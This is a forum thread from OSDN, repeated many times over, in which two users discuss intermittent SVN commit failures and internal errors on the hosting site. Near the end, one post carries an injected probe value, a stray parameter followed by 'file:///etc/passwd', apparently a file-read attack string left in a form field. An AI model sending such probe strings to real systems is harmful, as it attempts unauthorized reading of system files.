https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/&n987941=v990344
file:///etc/passwd
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
